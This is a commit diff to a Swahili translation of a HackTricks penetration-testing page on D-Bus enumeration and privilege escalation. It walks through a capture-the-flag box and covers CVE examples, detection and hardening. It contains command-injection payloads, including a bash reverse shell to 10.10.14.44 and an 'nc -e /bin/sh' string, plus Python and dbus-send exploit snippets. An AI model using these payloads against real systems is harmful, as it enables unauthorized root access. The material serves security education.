Translated ['src/linux-hardening/privilege-escalation/d-bus-enumeration-

This commit is contained in:
Translator 2025-07-22 06:11:38 +00:00
parent 81efb79713
commit 40a7122e78

View File

@ -4,11 +4,11 @@
## **GUI enumeration**
D-Bus inatumika kama mjumbe wa mawasiliano kati ya michakato (IPC) katika mazingira ya desktop ya Ubuntu. Katika Ubuntu, uendeshaji wa pamoja wa mabasi kadhaa ya ujumbe unaonekana: basi la mfumo, ambalo linatumika hasa na **huduma zenye mamlaka ili kufichua huduma zinazohusiana katika mfumo mzima**, na basi la kikao kwa kila mtumiaji aliyeingia, likifichua huduma zinazohusiana tu na mtumiaji huyo maalum. Kipaumbele hapa ni hasa kwenye basi la mfumo kutokana na uhusiano wake na huduma zinazotembea kwa mamlaka ya juu (mfano, root) kwani lengo letu ni kuinua mamlaka. Inabainika kwamba usanifu wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inawajibika kwa kuelekeza ujumbe wa wateja kwa huduma zinazofaa kulingana na anwani iliyotolewa na wateja kwa huduma wanayotaka kuwasiliana nayo.
D-Bus inatumika kama mjumbe wa mawasiliano kati ya michakato (IPC) katika mazingira ya desktop ya Ubuntu. Kwenye Ubuntu, uendeshaji wa sambamba wa mabasi kadhaa ya ujumbe unaonekana: basi la mfumo, ambalo linatumika hasa na **huduma zenye mamlaka ili kufichua huduma zinazohusiana katika mfumo mzima**, na basi la kikao kwa kila mtumiaji aliyeingia, likifichua huduma zinazohusiana tu na mtumiaji huyo maalum. Kipaumbele hapa ni hasa kwenye basi la mfumo kutokana na uhusiano wake na huduma zinazotembea kwa mamlaka ya juu (mfano, root) kwani lengo letu ni kuinua mamlaka. Inabainika kwamba usanifu wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inawajibika kwa kuelekeza ujumbe wa wateja kwa huduma zinazofaa kulingana na anwani iliyotolewa na wateja kwa huduma wanayotaka kuwasiliana nayo.
Huduma kwenye D-Bus zin defined na **vitu** na **mifumo** wanayofichua. Vitu vinaweza kulinganishwa na mifano ya darasa katika lugha za OOP za kawaida, ambapo kila mfano unatambulika kwa kipekee na **njia ya kitu**. Njia hii, kama njia ya mfumo wa faili, inatambulisha kwa kipekee kila kitu kinachofichuliwa na huduma. Msingi muhimu wa utafiti ni **org.freedesktop.DBus.Introspectable** interface, yenye njia moja, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono za kitu, ishara, na mali, huku ikizingatia hapa njia huku ikiacha mali na ishara.
Huduma kwenye D-Bus zin defined na **vitu** na **mifumo** wanayofichua. Vitu vinaweza kulinganishwa na mifano ya darasa katika lugha za OOP za kawaida, ambapo kila mfano unatambulika kwa kipekee na **njia ya kitu**. Njia hii, kama njia ya mfumo wa faili, inatambulisha kwa kipekee kila kitu kinachofichuliwa na huduma. Msingi muhimu wa utafiti ni **org.freedesktop.DBus.Introspectable** interface, yenye njia moja, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono za kitu, ishara, na mali, huku ikizingatia hapa njia na kuacha mali na ishara.
Kwa mawasiliano na interface ya D-Bus, zana mbili zilitumika: zana ya CLI inayoitwa **gdbus** kwa urahisi wa kuitisha njia zinazofichuliwa na D-Bus katika scripts, na [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), zana ya GUI inayotumia Python iliyoundwa kuorodhesha huduma zinazopatikana kwenye kila basi na kuonyesha vitu vilivyomo ndani ya kila huduma.
Kwa mawasiliano na kiunganishi cha D-Bus, zana mbili zilitumika: zana ya CLI inayoitwa **gdbus** kwa urahisi wa kuitisha njia zinazofichuliwa na D-Bus katika scripts, na [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), zana ya GUI inayotumia Python iliyoundwa kuorodhesha huduma zinazopatikana kwenye kila basi na kuonyesha vitu vilivyomo ndani ya kila huduma.
```bash
sudo apt-get install d-feet
```
@ -18,13 +18,13 @@ sudo apt-get install d-feet
Katika picha ya kwanza, huduma zilizoorodheshwa na mfumo wa D-Bus zinaonyeshwa, huku **org.debin.apt** ikisisitizwa hasa baada ya kuchagua kitufe cha System Bus. D-Feet inafanya uchunguzi wa huduma hii kwa vitu, ikionyesha interfaces, methods, properties, na signals za vitu vilivyochaguliwa, kama inavyoonekana katika picha ya pili. Saini ya kila method pia imeelezwa kwa undani.
Kipengele muhimu ni kuonyeshwa kwa **process ID (pid)** na **command line** ya huduma, ambayo ni muhimu kuthibitisha ikiwa huduma inafanya kazi na haki za juu, muhimu kwa umuhimu wa utafiti.
Kipengele muhimu ni kuonyeshwa kwa **process ID (pid)** na **command line** ya huduma, ambayo ni muhimu kuthibitisha kama huduma inafanya kazi na haki za juu, muhimu kwa umuhimu wa utafiti.
**D-Feet pia inaruhusu mwito wa method**: watumiaji wanaweza kuingiza maelekezo ya Python kama vigezo, ambayo D-Feet inabadilisha kuwa aina za D-Bus kabla ya kupitisha kwa huduma.
**D-Feet pia inaruhusu mwito wa method**: watumiaji wanaweza kuingiza maelekezo ya Python kama vigezo, ambayo D-Feet inabadilisha kuwa aina za D-Bus kabla ya kuyapeleka kwa huduma.
Hata hivyo, kumbuka kwamba **mbinu zingine zinahitaji uthibitisho** kabla ya kuturuhusu kuzitumia. Tutazipuuza mbinu hizi, kwani lengo letu ni kuongeza haki zetu bila hati za utambulisho kwanza.
Pia kumbuka kwamba baadhi ya huduma zinachunguza huduma nyingine ya D-Bus inayoitwa org.freedeskto.PolicyKit1 ikiwa mtumiaji anapaswa kuruhusiwa kufanya vitendo fulani au la.
Pia kumbuka kwamba baadhi ya huduma zinafanya uchunguzi wa huduma nyingine ya D-Bus inayoitwa org.freedeskto.PolicyKit1 ikiwa mtumiaji anapaswa kuruhusiwa kufanya vitendo fulani au la.
## **Cmd line Enumeration**
@ -56,11 +56,11 @@ org.freedesktop.locale1 - - - (act
```
#### Connections
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wakati mchakato unapoanzisha muunganisho na basi, basi inatoa muunganisho jina maalum la basi linaloitwa _jina la muunganisho la kipekee_. Majina ya basi ya aina hii hayabadiliki—imehakikishwa hayatabadilika kadri muunganisho unavyokuwepo—na, muhimu zaidi, hayawezi kutumika tena wakati wa maisha ya basi. Hii ina maana kwamba hakuna muunganisho mwingine kwa basi hiyo utapata jina kama hilo la muunganisho wa kipekee, hata kama mchakato huo huo unafunga muunganisho na kuunda mpya. Majina ya muunganisho wa kipekee yanaweza kutambulika kwa urahisi kwa sababu yananza na tabia ya koloni—ambayo vinginevyo inakatazwa.
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wakati mchakato unapoanzisha muunganisho na basi, basi inatoa muunganisho jina maalum la basi linaloitwa _jina la muunganisho la kipekee_. Majina ya basi ya aina hii hayabadiliki—imehakikishwa kuwa hayatabadilika kadri muunganisho unavyokuwepo—na, muhimu zaidi, hayawezi kutumika tena wakati wa maisha ya basi. Hii ina maana kwamba hakuna muunganisho mwingine kwa basi hiyo utapata jina kama hilo la muunganisho wa kipekee, hata kama mchakato huo huo unafunga muunganisho na kuunda mpya. Majina ya muunganisho wa kipekee yanaweza kutambulika kwa urahisi kwa sababu yananza na tabia ya koloni—ambayo vinginevyo inakatazwa.
### Service Object Info
Kisha, unaweza kupata taarifa fulani kuhusu interface kwa:
Kisha, unaweza kupata taarifa fulani kuhusu kiolesura kwa:
```bash
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
@ -132,7 +132,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
```
### Introspect Interface of a Service Object
Kumbuka jinsi katika mfano huu ilichaguliwa interface ya hivi punde iliyogunduliwa kwa kutumia parameter ya `tree` (_ona sehemu iliyopita_):
Kumbuka jinsi katika mfano huu ilichaguliwa interface ya hivi punde iliyogunduliwa kwa kutumia parameter ya `tree` (_ona sehemu ya awali_):
```bash
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
@ -150,7 +150,7 @@ org.freedesktop.DBus.Properties interface - - -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
```
Kumbuka njia `.Block` ya interface `htb.oouch.Block` (ile ambayo tunavutiwa nayo). "s" ya safu nyingine inaweza kumaanisha kwamba inatarajia string.
Note njia `.Block` ya interface `htb.oouch.Block` (ile ambayo tunavutiwa nayo). "s" ya safu nyingine inaweza kumaanisha kwamba inatarajia string.
### Monitor/Capture Interface
@ -159,7 +159,7 @@ Kwa ruhusa za kutosha (tu `send_destination` na `receive_sender` ruhusa hazitosh
Ili **kuchunguza** **mawasiliano** unahitaji kuwa **root.** Ikiwa bado unakutana na matatizo ukiwa root angalia [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) na [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
> [!WARNING]
> Ikiwa unajua jinsi ya kuunda faili ya usanidi ya D-Bus ili **kuruhusu watumiaji wasiokuwa root kunasa** mawasiliano tafadhali **wasiliana nami**!
> Ikiwa unajua jinsi ya kuunda faili ya usanidi ya D-Bus ili **kuruhusu watumiaji wasiokuwa root kunusa** mawasiliano tafadhali **wasiliana nami**!
Njia tofauti za kuchunguza:
```bash
@ -194,7 +194,7 @@ Ikiwa kuna taarifa nyingi sana kwenye basi, pitisha sheria ya mechi kama ifuatav
```bash
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
```
Mifumo mingi inaweza kufafanuliwa. Ikiwa ujumbe unalingana na _yoyote_ ya mifumo, ujumbe utaonyeshwa. Kama hivi:
Mifumo mingi inaweza kufafanuliwa. Ikiwa ujumbe unalingana na _yoyote_ ya mifumo, ujumbe utaandikwa. Kama hivi:
```bash
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
```
@ -245,9 +245,9 @@ response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
```
Kama unavyoona, inafanya **kuungana na kiolesura cha D-Bus** na kutuma kwa **"Block" function** "client_ip".
Kama unavyoona, in **kuunganisha na kiolesura cha D-Bus** na kutuma kwa **"Block" function** "client_ip".
Katika upande mwingine wa muunganisho wa D-Bus kuna binary iliyokamilishwa kwa C inayoendesha. Hii code inafanya **kusikiliza** katika muunganisho wa D-Bus **kwa anwani ya IP na inaita iptables kupitia `system` function** kuzuia anwani ya IP iliyotolewa.\
Katika upande mwingine wa muunganisho wa D-Bus kuna binary iliyokamilishwa kwa C inayoendesha. Hii code in **kusikiliza** katika muunganisho wa D-Bus **kwa anwani za IP na inaita iptables kupitia `system` function** kuzuia anwani ya IP iliyotolewa.\
**Kuitwa kwa `system` kuna udhaifu kwa makusudi kwa ajili ya kuingilia amri**, hivyo payload kama ifuatavyo itaunda shell ya kurudi: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
### Exploit it
@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus,
block_vtable,
NULL);
```
Pia, katika mstari wa 57 unaweza kupata kwamba **njia pekee iliyosajiliwa** kwa mawasiliano haya ya D-Bus inaitwa `Block`(_**Ndio maana katika sehemu inayofuata payloads zitapelekwa kwa kitu cha huduma `htb.oouch.Block`, interface `/htb/oouch/Block` na jina la njia `Block`**_):
Pia, katika mstari wa 57 unaweza kupata kwamba **njia pekee iliyosajiliwa** kwa mawasiliano haya ya D-Bus inaitwa `Block`(_**Ndio maana katika sehemu inayofuata payloads zitatumwa kwa kitu cha huduma `htb.oouch.Block`, interface `/htb/oouch/Block` na jina la njia `Block`**_):
```c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
```
#### Python
Msimbo ufuatao wa python utatuma payload kwa muunganisho wa D-Bus kwa njia ya `Block` method kupitia `block_iface.Block(runme)` (_kumbuka kwamba ilitolewa kutoka sehemu ya awali ya msimbo_):
Mfuatano wa msimbo wa python utatuma mzigo kwa muunganisho wa D-Bus kwa njia ya `Block` method kupitia `block_iface.Block(runme)` (_kumbuka kwamba ilitolewa kutoka sehemu ya awali ya msimbo_):
```python
import dbus
bus = dbus.SystemBus()
@ -283,13 +283,13 @@ bus.close()
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
```
- `dbus-send` ni chombo kinachotumika kutuma ujumbe kwa “Message Bus”
- Message Bus Programu inayotumiwa na mifumo kuwezesha mawasiliano kati ya programu kwa urahisi. Inahusiana na Message Queue (ujumbe umewekwa kwa mpangilio) lakini katika Message Bus ujumbe unatumwa kwa mfano wa usajili na pia ni wa haraka sana.
- “-system” tag inatumika kutaja kwamba ni ujumbe wa mfumo, si ujumbe wa kikao (kwa chaguo-msingi).
- “print-reply” tag inatumika kuchapisha ujumbe wetu ipasavyo na kupokea majibu yoyote kwa muundo unaoweza kusomeka na mwanadamu.
- Message Bus Programu inayotumiwa na mifumo kuwezesha mawasiliano kati ya programu kwa urahisi. Inahusiana na Message Queue (ujumbe umeandikwa kwa mpangilio) lakini katika Message Bus ujumbe unatumwa kwa mfano wa usajili na pia ni wa haraka sana.
- “-system” tag inatumika kutaja kwamba ni ujumbe wa mfumo, si ujumbe wa kikao (kwa kawaida).
- “print-reply” tag inatumika kuchapisha ujumbe wetu ipasavyo na kupokea majibu yoyote kwa muundo unaoweza kusomeka na binadamu.
- “dest=Dbus-Interface-Block” Anwani ya kiolesura cha Dbus.
- “string:” Aina ya ujumbe tunayotaka kutuma kwa kiolesura. Kuna mifumo kadhaa ya kutuma ujumbe kama vile double, bytes, booleans, int, objpath. Kati ya hizi, “object path” ni muhimu tunapotaka kutuma njia ya faili kwa kiolesura cha Dbus. Tunaweza kutumia faili maalum (FIFO) katika kesi hii kupitisha amri kwa kiolesura kwa jina la faili. “string:;” Hii ni kuitisha tena njia ya kitu ambapo tunaweka faili/amri ya FIFO reverse shell.
_Kumbuka kwamba katika `htb.oouch.Block.Block`, sehemu ya kwanza (`htb.oouch.Block`) inarejelea kituo cha huduma na sehemu ya mwisho (`.Block`) inarejelea jina la mbinu._
_Kumbuka kwamba katika `htb.oouch.Block.Block`, sehemu ya kwanza (`htb.oouch.Block`) inarejelea kitu cha huduma na sehemu ya mwisho (`.Block`) inarejelea jina la njia._
### C code
```c:d-bus_server.c
@ -432,8 +432,75 @@ sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
```
## Msaada wa Kuorodhesha Kiotomatiki (2023-2025)
Kuorodhesha uso mkubwa wa shambulio la D-Bus kwa mikono kwa kutumia `busctl`/`gdbus` haraka inakuwa ngumu. Zana mbili ndogo za FOSS zilizotolewa katika miaka ya hivi karibuni zinaweza kuongeza kasi wakati wa shughuli za red-team au CTF:
### dbusmap ("Nmap kwa D-Bus")
* Mwandishi: @taviso [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
* Imeandikwa kwa C; binary moja ya static (<50 kB) inayopita kila njia ya kitu, inavuta `Introspect` XML na kuipanga kwa PID/UID inayomiliki.
* Bendera muhimu:
```bash
# Orodhesha kila huduma kwenye *system* bus na uondoe njia zote zinazoweza kuitwa
sudo dbus-map --dump-methods
# Chunguza kwa nguvu mbinu/mali unazoweza kufikia bila Polkit prompts
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
```
* Zana hii inaashiria majina maarufu yasiyo na ulinzi kwa `!`, ikifunua mara moja huduma ambazo unaweza *miliki* (kuchukua) au wito wa mbinu zinazoweza kufikiwa kutoka kwa shell isiyo na haki.
### uptux.py
* Mwandishi: @initstring [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
* Skripti ya Python pekee inayotafuta *njia zinazoweza kuandikwa* katika vitengo vya systemd **na** faili za sera za D-Bus zenye ruhusa nyingi kupita kiasi (mfano `send_destination="*"`).
* Matumizi ya haraka:
```bash
python3 uptux.py -n # fanya ukaguzi wote lakini usiandike faili la log
python3 uptux.py -d # wezesha pato la debug la kina
```
* Moduli ya D-Bus inatafuta saraka zilizo chini na kuangazia huduma yoyote inayoweza kudanganywa au kutekwa na mtumiaji wa kawaida:
* `/etc/dbus-1/system.d/` na `/usr/share/dbus-1/system.d/`
* `/etc/dbus-1/system-local.d/` (mabadiliko ya muuzaji)
---
## Makosa Yaliyojulikana ya Kuinua Haki za D-Bus (2024-2025)
Kuweka macho kwenye CVE zilizochapishwa hivi karibuni husaidia kugundua mifumo isiyo salama katika msimbo wa kawaida. Masuala yafuatayo ya EoP ya ndani yenye athari kubwa yote yanatokana na ukosefu wa uthibitisho/idhinisho kwenye **system bus**:
| Mwaka | CVE | Kipengele | Sababu Kuu | PoC ya Mstari Mmoja |
|------|-----|-----------|------------|---------------|
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | Huduma ya mfumo `logid` inatoa interface isiyo na kikomo `org.freedesktop.Logiopsd` inayomruhusu *mtumiaji yeyote* kubadilisha profaili za vifaa na kuingiza amri za shell zisizo na mipaka kupitia nyuzi za macro. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Proxy inayotembea kama root inapeleka majina ya zamani ya bus kwa huduma za nyuma **bila kupeleka UID/Polkit ya mpiga simu**, hivyo kila ombi lililopitishwa linachukuliwa kama UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Mbinu ya umma `Dispatch` haina ACL zozote → mshambuliaji anaweza kuamuru mfanyakazi wa *package-manager* kufunga RPM zisizo na mipaka. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
Mifumo ya kuzingatia:
1. Huduma inafanya kazi **kama root kwenye system bus**.
2. Hakuna ukaguzi wa PolicyKit (au umeepukwa na proxy).
3. Mbinu hatimaye inapelekea `system()`/ufungaji wa pakiti/kuunda upya vifaa → utekelezaji wa msimbo.
Tumia `dbusmap --enable-probes` au `busctl call` ya mikono kuthibitisha ikiwa patch inarudisha nyuma mantiki sahihi ya `polkit_authority_check_authorization()`.
---
## Ushindi wa Haraka wa Kuimarisha & Kugundua
* Tafuta sera zinazoweza kuandikwa na *send/receive*-zimefunguliwa:
```bash
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
```
* Hitaji Polkit kwa mbinu hatari hata *root* proxies zinapaswa kupitisha *PID ya mpiga simu* kwa `polkit_authority_check_authorization_sync()` badala ya zao wenyewe.
* Punguza haki katika msaada wa muda mrefu (tumia `sd_pid_get_owner_uid()` kubadilisha majimbo baada ya kuungana na bus).
* Ikiwa huwezi kuondoa huduma, angalau *punguza* kwa kundi maalum la Unix na punguza ufikiaji katika sera yake ya XML.
* Blue-team: wezesha kukamata kudumu kwa system bus kwa kutumia `busctl capture --output=/var/log/dbus_$(date +%F).pcap` na uagizie ndani ya Wireshark kwa ajili ya kugundua anomali.
---
## Marejeo
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
{{#include ../../banners/hacktricks-training.md}}